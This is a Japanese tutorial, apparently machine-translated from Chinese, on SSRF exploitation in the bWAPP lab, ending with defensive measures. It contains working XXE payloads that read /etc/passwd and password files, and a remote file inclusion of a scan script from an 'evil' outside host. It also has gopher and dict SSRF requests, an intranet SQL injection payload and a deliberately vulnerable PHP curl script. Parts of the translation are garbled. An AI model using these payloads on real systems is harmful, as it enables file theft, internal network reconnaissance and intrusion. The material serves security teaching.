攻撃的および防御的戦闘および防止方法
bWAPPのSSRFは、SSRFの使用シナリオを説明する3つの小さな実験を提供します
タスク1:ポートスキャン(イントラネット検出)にリモートファイルインクルードを使用する
タスク1の[ポートスキャン]をクリックして、ポートスキャン攻撃スクリプトを取得します。スクリプト
を含めて、対応するホストとしてIPパラメーターを要求するだけです。次の手順は、bWAPPにリモートファイルインクルードの脆弱性を使用して、ポートスキャンスクリプトを実行することです
。バグの中で、リモート&ローカルファイルインクルージョン(RFI / LFI)のセキュリティレベルを選択するか、低を選択してから、[ハック]をクリックし
てリモート&ローカルファイルインクルージョン(RFI / LFI)実験に入り、言語を選択するための汎用モジュールがあることを確認します。次に、Get
リクエストのパラメーターを確認し、一般的なファイルに問題があることを確認します。Language= lang_en.php
GETリクエスト:http: //192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go
次のPAYLOADを使用します。リモートでスキャンスクリプトを含めて実行し、イントラネットホストのポートとサービスを検出するPOST:http
:
//192.168.163.157/bWAPP/rlfi.php?language = http://xxx.xxx.xxx/evil/ss rf-1.txt&action = go POST DATA:ip = 192.168.163.159 here xxx.xxx .XXX(192.168.163.1)が192.168.163.159は、ターゲットホストアドレスがスキャンされる、アクセスアドレススキャンスクリプトで、そのアドレスがxxx.xxx.xxxへのアクセス権を持つことができないホスト、および簡単に鑑賞するために使用するポストでは、要求を提出区別
しますターゲットホストIPをスキャンし、スキャン後に結果を返します。
タスク2:XXEを使用して機密ファイルの内容を取得する(ファイルの読み取り)
最初にタスク2で[アクセス]をクリックしてXXE使用率スクリプトを取得します:http://xxx.xxx.xxx/bWAPP/xxe-1.php、次に
XML外部エンティティ攻撃(XXE)演習環境にアクセスし、burpSuiteを使用してパッケージをキャプチャして送信します。
テストに
関係するXXEの知識をテストするためにリピーターに移動し、記事http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xAを参照できます。
/bWAPP/robots.txtのコンテンツを取得するには、httpプロトコルを使用します。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://localhost/1/bwapp/robots.txt"> ]>
<reset> <login>&bWAPP;
</login>
<secret>blah</secret>
</reset>
xmlバージョン定義
DTD定義ルート要素要素タイプ
読み取りファイルコンテンツ
参照コンテンツ
php://filter/read=convert.base64-encode/resource=http://192.168.0.67/1/bwapp/passwords/he
roes.xml
phpプロトコルを使用して/bWAPP/passwords/heroes.xmlのbase64を取得しますエンコードされたデータ
ファイルプロトコルを使用して、bWAPPネイティブ/ etc / passwdのコンテンツを取得します。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "file://etc/passwd"> ]> <reset>
<login>&bWAPP;</login> <secret>blah</secret> </reset>
ドキュメントに適用可能で、特別な記号が含まれている場合、xmlの実行によりエラーが報告される場合、ここではphpプロトコルエンコーディングを使用し、バイパスします
タスク3:イントラネットSQLインジェクションにXXEを使用する
このタスクは、イントラネットサイトのSQLインジェクションの脆弱性を悪用します。たとえば、192.168.163.150ホストにインジェクションの脆弱性がある場合
、次のペイロードを送信できますSSRFを使用してSQLの脆弱性を悪用できます。もちろん、Struts2やその他の脆弱性も使用できます
。
1.<?xml version=”1.0″ encoding=”utf-8″?>
2.<!DOCTYPE root [
3. <!ENTITY bWAPP SYSTEM
"http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">
4.]>
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>
SSRF知識開発
上記では、SSRFの一般的な使用法について説明しました。イントラネットの検出、ファイルの読み取り、脆弱性の利用には、http、ファイル、phpのプロトコルを使用します。次の説明は
、SSRFの拡張された知識です。上記の使用はすべてGETリクエストを送信することによって行われることを思い出してください。では、内部サイトの脆弱性がPOSTリクエストのパラメータにあるかどうか考えてください。または、
リクエストヘッダーのフィールドの脆弱性ですか?SSRFリクエストは、悪用のためにどのように構築する必要がありますか?
実験対象機の製作
上記の表の内容から、PHPでgopherプロトコルを使用するにはcurlのサポートが必要であることがわかります。もちろん、curlは多くのプロトコルもサポートしています。まず、
ランプ環境を準備します。ubuntu上のPHPにcurl拡張がない場合は、次のコマンドを使用する必要があります。インストール
sudo apt-get install php5-curl
sudo service apache restart次に、次のテストコードを記述します。ユーザー制御可能な入力ポイントは$ _GET ['url']です。
1.<?php
2.// 创建一个新 cURL 资源
3.$ch = curl_init();
4.// 设置 URL 和相应的选项
5.curl_setopt($ch, CURLOPT_URL, $_GET['url']);
www.oldboyedu.com
6.curl_setopt($ch, CURLOPT_HEADER, false);
7.// 抓取 URL 并把它传递给浏览器
8.curl_exec($ch);
9.//关闭 cURL 资源,并且释放系统资源
10.curl_close($ch);
11.?>
ファイルプロトコルの使用
機密ファイルに関する情報を取得するには、http://192.168.163.150/test.php?url = file:/// etc / passwdをリクエストします
Gopherプロトコルの使用
SSRFエクスプロイトでは、Wanjinオイルとして知られているGopherプロトコル。Gopherプロトコル
は、httpプロトコルよりも前に登場したプロトコルです。現在、一般的には使用されていませんが、Gopherは、リクエストをさまざまな形式で送信するために使用できるため、Wanjinオイルと言えます。パッケージ、この変更により、脆弱性ポイントがGETパラメーターにないという問題を解決できます。
基本的なプロトコル形式:
URL:gopher://<host>:<port>/<gopher-path>
次のリクエストを使用してPOSTリクエストを送信でき、パラメータcmdの値はbalabalです。gopherリクエストを作成するときは、キャリッジリターンとラインフィードのシンボルを
2回URLエンコードする必要があります250 %% 250ahttp://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/
1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser -Agent:%20curl / 7.43.0%250d%2
50aAccept:%20 * / *%250d%250aContent-Type:%20application / x-www-form-urlencoded%250d%2
50a%250d%250aid = 1
この時点で、アクセスログは192.168.0.105ホストのaccess.logにあります。
もちろん、ネットワークパケット分析ツール(burp)を使用して、TCPトラフィックのHTTPデータをキャプチャすることもできます。gopherはさまざまなHTTPリクエストパケットを作成できるため、gopherこれは、SSRFの脆弱性の悪用においてWanjinオイルの役割を果たします。特定の攻撃方法は、次のリンクを参照できます:
https : //blog.chaitin.cn/gopher-attack-surfaces/
dictプロトコルアプリケーション
dictプロトコルは、ディクショナリサーバープロトコルです。通常、使用中にクライアントがより多くのディクショナリソースにアクセスできるようにするために使用されます。ただし、SSRFでdict
プロトコルを使用できる場合、ターゲットサーバーポートで実行されているサービスのバージョンなどの情報を簡単に取得できます。
たとえば、http:
//192.168.163.150/test.php?url = dict://192.168.163.1:3306 / infoをリクエストすると、ターゲットホストのポート3306で実行されているmysq-l5.5.55のアプリケーションを取得できます。
**有关 SSRF 其它扩展知道可参考: http://www.anquan.us/static/drops/web-7550.html**
SSRF保護方式
1.保護対策
(ブラックリスト)
(1)フィルター10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、localhostプライベートアドレス、IPv6アドレス
(2)フィルターファイル:///、dict://、gopher:/ /、Ftp://危険なスキーマ
(3)返されたコンテンツを識別
(4)イントラネットサービス認証(Memcached、Redis、Elasticsearch、MongoDB)
2.最高の保護
(1)アドレスのホワイトリストを使用する
(2)返されるコンテンツを特定する
(3)インターネットリソースを使用する必要があり(ポストバーでのネットワーク画像の使用など)、ホワイトリストを使用できない場合:最初にCURLOPT_FOLLOWLOCATIONを無効にしてから、ドメイン名
とフィルターでターゲットIPを取得する内部IP;最後に、返されたコンテンツが想定されたコンテンツと一致しているかどうかを識別します